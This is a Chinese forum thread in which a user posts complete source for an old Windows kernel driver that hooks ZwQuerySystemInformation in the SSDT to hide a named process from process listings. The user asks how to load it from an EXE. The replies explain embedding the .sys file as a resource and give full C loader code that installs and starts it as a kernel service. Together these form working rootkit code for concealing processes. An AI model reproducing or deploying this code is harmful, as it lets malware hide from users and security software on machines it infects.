关于驱动级隐藏进程

Question

网上有如下代码，可不知在EXE中如何正确加载驱动并执行隐藏、反隐藏等/* ******************************************************************
Name:WinHook.h

Hook System Service Call In Windows 2000 or later version,Only 
for x86 CPU.This Driver Only hide process that you setting!

Copyright (C) ndis 2004, All rights reserved.
****************************************************************** *//* Include ntddk standard header with C linkage*/
#ifdef __cplusplus
extern "C"
{
#endif#include <stdarg.h>
#include <stdio.h>#define FILE_DEVICE_WINHOOK    0x00009122/* Native API process/threads struct */
struct _SYSTEM_THREADS
{
   LARGE_INTEGER    KernelTime;
   LARGE_INTEGER    UserTime;
   LARGE_INTEGER    CreateTime;
   ULONG            WaitTime;
   PVOID            StartAddress;
   CLIENT_ID        ClientIs;
   KPRIORITY        Priority;
   KPRIORITY        BasePriority;
   ULONG            ContextSwitchCount;
   ULONG            ThreadState;
   KWAIT_REASON     WaitReason;
};struct _SYSTEM_PROCESSES
{
   ULONG            NextEntryDelta;
   ULONG            ThreadCount;
   ULONG            Reserved[6];
   LARGE_INTEGER    CreateTime;
   LARGE_INTEGER    UserTime;
   LARGE_INTEGER    KernelTime;
   UNICODE_STRING   ProcessName;
   KPRIORITY        BasePriority;
   ULONG            ProcessId;
   ULONG            InheritedFromProcessId;
   ULONG            HandleCount;
   ULONG            Reserved2[2];
   VM_COUNTERS      VmCounters;
   IO_COUNTERS      IoCounters;
   struct _SYSTEM_THREADS Threads[1];
};/* Definition for system call service table */
typedef struct _SRVTABLE {
PVOID  *ServiceTable;
ULONG           LowCall;        
ULONG           HiCall;
PVOID  *ArgTable;
} SRVTABLE, *PSRVTABLE;/* Old ZwQuerySystemInformation */
NTSTATUS (*RealZwQuerySystemInformation)(
IN ULONG  SystemInformationClass,
IN PVOID  SystemInformation,
IN ULONG  SystemInformationLength, 
OUT PULONG ReturnLength
); /* Native API ZwQuerySystemInformation */
NTSYSAPI NTSTATUS  NTAPI ZwQuerySystemInformation(
IN  ULONG  SystemInformationClass,
IN  PVOID  SystemInformation,
IN  ULONG  SystemInformationLength,
OUT PULONG ReturnLength
);/* Install System Call Hook */
VOID   HookSystemCall();/* Uninstall System Call Hook */
VOID   UnhookSystemCall();/* ook ZwQuerySystemInformation */
NTSTATUS  HookZwQuerySystemInformation( 
IN  ULONG  SystemInformationClass, 
IN  PVOID  SystemInformation, 
IN  ULONG  SystemInformationLength, 
OUT PULONG ReturnLength
  );/* Driver Entry */
NTSTATUS  DriverEntry(
IN PDRIVER_OBJECT  DriverObject,
IN PUNICODE_STRING RegistryPath
  );/* Driver Dispatch */
NTSTATUS  DriverDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
  );/* Unload Driver*/
VOID   DriverUnload(
         IN PDRIVER_OBJECT  DriverObject
  );/* Pointer to the image of the system service table */
extern PSRVTABLE KeServiceDescriptorTable;#ifdef __cplusplus
}
#endif
/* ******************************************************************
Name:WinHook.c

Hook System Service Call In Windows 2000 or later version,Only 
for x86 CPU.This Driver Only hide process that you setting!

Copyright (C) ndis 2004, All rights reserved.
****************************************************************** */#include    <ntddk.h>
#include "WinHook.h"/* ******************************************************************
    Macro for easy hook/unhook. On X86 implementations of Zw* func-
tions, the DWORD following the first byte is the system call number,
so we reach into the Zw function passed as a parameter, and pull the
number out. This makes system call hooking depe ndent ONLY on the 
Zw* function implementation not changing. 
****************************************************************** */
#define SYSCALL(_function)  ServiceTable->ServiceTable[*(PULONG)((PUCHAR)_function+1)]/* Pointer to system global service table */
PSRVTABLE               ServiceTable;#pragma code_seg("ENTRY")
/* Driver Entry */
NTSTATUS  DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
   NTSTATUS          nRet;
   PDEVICE_OBJECT  lpHookDeviceObject;
   UNICODE_STRING    uszDeviceName,uszDriverName;
       
   RtlInitUnicodeString(&uszDeviceName,L"\\Device\\WinHook");
   RtlInitUnicodeString(&uszDriverName,L"\\DosDevices\\WinHook");
   nRet = IoCreateDevice(
DriverObject, 0,
&uszDeviceName,
                    FILE_DEVICE_WINHOOK,
0, TRUE,
&lpHookDeviceObject
);
   if(NT_SUCCESS(nRet)){
      /* Create Symboliclink for GUI */
      nRet = IoCreateSymbolicLink (&uszDriverName, &uszDeviceName );
      /* Create dispatch points for all routines */
      DriverObject->MajorFunction[IRP_MJ_CREATE]   =
      DriverObject->MajorFunction[IRP_MJ_SHUTDOWN]        =
      DriverObject->MajorFunction[IRP_MJ_CLOSE]           =
      DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]  = DriverDispatch;
      DriverObject->DriverUnload                          = DriverUnload;
   }
   if(!NT_SUCCESS(nRet))
   {
      DbgPrint("******WinHook:Failed to create device!******\n");
      if(lpHookDeviceObject){
IoDeleteDevice(lpHookDeviceObject);
  }
  IoDeleteSymbolicLink(&uszDriverName);
      return nRet;
   }   /* Pointer to system table data structure is an NTOSKRNL export */
   ServiceTable = KeServiceDescriptorTable;
   DbgPrint("WinHook:SystemCallService: %x\n",ServiceTable); /* Install System Call Hook */
   HookSystemCall();
   DbgPrint("******WinHook:Hook System Call Service******\n");   return STATUS_SUCCESS;
}
#pragma code_seg()#pragma code_seg("SETHOOK")
/* Install System Call Hook */
VOID HookSystemCall()
{
   RealZwQuerySystemInformation = SYSCALL(ZwQuerySystemInformation);
   SYSCALL(ZwQuerySystemInformation) = (PVOID)HookZwQuerySystemInformation;   return;
}
#pragma code_seg()#pragma code_seg("UNHOOK")
/* Uninstall System Call Hook */
VOID UnhookSystemCall()
{
   SYSCALL(ZwQuerySystemInformation) = (PVOID)RealZwQuerySystemInformation;   return;
}
#pragma code_seg()#pragma code_seg("HOOK")
/* Hook function,hook ZwQuerySystemInformation for hide process you setting. */
NTSTATUS  HookZwQuerySystemInformation( 
IN  ULONG  SystemInformationClass, 
IN  PVOID  SystemInformation, 
IN  ULONG  SystemInformationLength, 
OUT PULONG ReturnLength
  ) 
{ 
NTSTATUS nRet; 
UNICODE_STRING uszProcName; RtlInitUnicodeString(&uszProcName, L"winlogon.exe"); nRet = (RealZwQuerySystemInformation)( 
SystemInformationClass, 
SystemInformation, 
SystemInformationLength, 
ReturnLength
); 

if(NT_SUCCESS(nRet)) 
{
if(SystemInformationClass==5)
{ 
struct _SYSTEM_PROCESSES *lpCurr = (struct _SYSTEM_PROCESSES *)SystemInformation; 
struct _SYSTEM_PROCESSES *lpPrev = NULL;

if(lpCurr->NextEntryDelta){
  ((char *)lpCurr += lpCurr->NextEntryDelta); 
}
while(lpCurr)
{
/* Hide the process you setting */
if (RtlCompareUnicodeString(&uszProcName, &lpCurr->ProcessName, 1) == 0)
{ if(lpPrev) 
{ 
if(lpCurr->NextEntryDelta) { 
lpPrev->NextEntryDelta += lpCurr->NextEntryDelta; 
} 
else { 
lpPrev->NextEntryDelta = 0; 
} 
} 
else { 
if(lpCurr->NextEntryDelta) { 
(char *)SystemInformation += lpCurr->NextEntryDelta; 
} 
else { 
SystemInformation = NULL; 
} 
}  if(lpCurr->NextEntryDelta){
  ((char *)lpCurr += lpCurr->NextEntryDelta); 
}
else { 
lpCurr = NULL;
break; 
} 
} /* if (RtlCompareUnicodeString(&uszProcName, &lpCurr->ProcessName, 1) == 0) */ /* View all over the process list */
if(lpCurr != NULL) { 
lpPrev = lpCurr;

if(lpCurr->NextEntryDelta){
  ((char *)lpCurr += lpCurr->NextEntryDelta); 
}
else{
  lpCurr = NULL; 
}
} } /* end while(lpCurr) */
} /* End if(SystemInformationClass==5) */
} /* End if(NT_SUCCESS(nRet)) */
return nRet;
}
#pragma code_seg()#pragma code_seg("PATCH")
/* Driver Dispatch */
NTSTATUS  DriverDispatch(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
   PIO_STACK_LOCATION   lpIrpStack;
   
   Irp->IoStatus.Status      = STATUS_SUCCESS;
   Irp->IoStatus.Information = 0;   /* Get a pointer to the current location in the Irp. */
   lpIrpStack =IoGetCurrentIrpStackLocation(Irp);
   switch (lpIrpStack->MajorFunction)
   {
case IRP_MJ_CREATE:
case IRP_MJ_SHUTDOWN:
case IRP_MJ_CLOSE:
case IRP_MJ_DEVICE_CONTROL:
DbgPrint("WinHook Dispatch\n");
break;
   }   IoCompleteRequest(Irp,IO_NO_INCREMENT);
   
   return STATUS_SUCCESS;
}
#pragma code_seg()#pragma code_seg("UNLOAD")
/* Driver Unolad */
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
   UNICODE_STRING   uszDriverName;   DbgPrint("******WinHook Driver Unloading******\n");   /* Uninstall System Call Hook */
   UnhookSystemCall();
   /* Delete the symbolic link for this device */
   RtlInitUnicodeString(&uszDriverName,L"\\DosDevices\\WinHook");
   IoDeleteSymbolicLink(&uszDriverName);   /* Delete the device object */
   IoDeleteDevice( DriverObject->DeviceObject );
   DbgPrint("******Deleted devices******\n"); return;
}
#pragma code_seg()

Answer 1

把.sys当成exe的资源.运行exe时 将其创建成.sys文件.然后用
OpenSCManager 等函数加载sys驱动并运行.

Answer 2

1 可以用WINDDK编译成一个sys文件，然后用一切驱动加载器加载2 该代码使用了hook SSDT中 ZwQuerySystemInformation 服务的方法
  只能算入门级的进程隐藏。这种方法和摘链表法以及暴力枚举XXX
  法都属于N年前就已搞烂了的方法3 如果你需要驱动编写+加载的完整环境，可以看我写的DriverFrame框架，
  其中打包，嵌入一切都帮你搞定，你只要写功能代码即可。
  link : http://bbs.pediy.com/showthread.php?t=82176&highlight=

Answer 3

你用InstDrv安装吧。自己的EXE要使用，需要先安装驱动服务，然后执行

Answer 4

//装载NT驱动程序
BOOL LoadNTDriver(char* lpszDriverName,char* lpszDriverPath)
{
    char szDriverImagePath[256];
    //得到完整的驱动路径
    GetFullPathName(lpszDriverPath, 256, szDriverImagePath, NULL);    BOOL bRet = FALSE;    SC_HANDLE hServiceMgr=NULL;//SCM管理器的句柄
    SC_HANDLE hServiceDDK=NULL;//NT驱动程序的服务句柄    //打开服务控制管理器
    hServiceMgr = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );    if( hServiceMgr == NULL )  
    {
        //OpenSCManager失败
        printf( "OpenSCManager() Faild %d ! \n", GetLastError() );
        bRet = FALSE;
        goto BeforeLeave;
    }
    else
    {
        ////OpenSCManager成功
        printf( "OpenSCManager() ok ! \n" );  
    }    //创建驱动所对应的服务
    hServiceDDK = CreateService( hServiceMgr,
        lpszDriverName, //驱动程序的在注册表中的名字  
        lpszDriverName, // 注册表驱动程序的 DisplayName 值  
        SERVICE_ALL_ACCESS, // 加载驱动程序的访问权限  
        SERVICE_KERNEL_DRIVER,// 表示加载的服务是驱动程序  
        SERVICE_DEMAND_START, // 注册表驱动程序的 Start 值  
        SERVICE_ERROR_IGNORE, // 注册表驱动程序的 ErrorControl 值  
        szDriverImagePath, // 注册表驱动程序的 ImagePath 值  
        NULL,  
        NULL,  
        NULL,  
        NULL,  
        NULL);      DWORD dwRtn;
    //判断服务是否失败
    if( hServiceDDK == NULL )  
    {  
        dwRtn = GetLastError();
        if( dwRtn != ERROR_IO_PENDING && dwRtn != ERROR_SERVICE_EXISTS )  
        {  
            //由于其他原因创建服务失败
            printf( "CrateService() Faild %d ! \n", dwRtn );  
            bRet = FALSE;
            goto BeforeLeave;
        }  
        else  
        {
            //服务创建失败，是由于服务已经创立过
            printf( "CrateService() Faild Service is ERROR_IO_PENDING or ERROR_SERVICE_EXISTS! \n" );  
        }        // 驱动程序已经加载，只需要打开  
        hServiceDDK = OpenService( hServiceMgr, lpszDriverName, SERVICE_ALL_ACCESS );  
        if( hServiceDDK == NULL )  
        {
            //如果打开服务也失败，则意味错误
            dwRtn = GetLastError();  
            printf( "OpenService() Faild %d ! \n", dwRtn );  
            bRet = FALSE;
            goto BeforeLeave;
        }  
        else 
        {
            printf( "OpenService() ok ! \n" );
        }
    }  
    else  
    {
        printf( "CrateService() ok ! \n" );
    }    //开启此项服务
    bRet= StartService( hServiceDDK, NULL, NULL );  
    if( !bRet )  
    {  
        DWORD dwRtn = GetLastError();  
        if( dwRtn != ERROR_IO_PENDING && dwRtn != ERROR_SERVICE_ALREADY_RUNNING )  
        {  
            printf( "StartService() Faild %d ! \n", dwRtn );  
            bRet = FALSE;
            goto BeforeLeave;
        }  
        else  
        {  
            if( dwRtn == ERROR_IO_PENDING )  
            {  
                //设备被挂住
                printf( "StartService() Faild ERROR_IO_PENDING ! \n");
                bRet = FALSE;
                goto BeforeLeave;
            }  
            else  
            {  
                //服务已经开启
                printf( "StartService() Faild ERROR_SERVICE_ALREADY_RUNNING ! \n");
                bRet = TRUE;
                goto BeforeLeave;
            }  
        }  
    }
    bRet = TRUE;
//离开前关闭句柄
BeforeLeave:
    if(hServiceDDK)
    {
        CloseServiceHandle(hServiceDDK);
    }
    if(hServiceMgr)
    {
        CloseServiceHandle(hServiceMgr);
    }
    return bRet;
}//卸载驱动程序  
BOOL UnloadNTDriver( char * szSvrName )  
{
} 
void TestDriver()
{
} 
int main(int argc, char* argv[])  
{
    //加载驱动
    BOOL bRet = LoadNTDriver(DRIVER_NAME,DRIVER_PATH);
    if (!bRet)
    {
        printf("LoadNTDriver error\n");
        return 0;
    }
    //加载成功    printf( "press any to create device!\n" );  
    getch();      TestDriver();    //通过注册表，或其他查看符号连接的软件验证。  
    printf( "press any to unload the driver!\n" );  
    getch();      //卸载驱动
    UnloadNTDriver(DRIVER_NAME);
    if (!bRet)
    {
        printf("UnloadNTDriver error\n");
        return 0;
    }
    return 0;  
}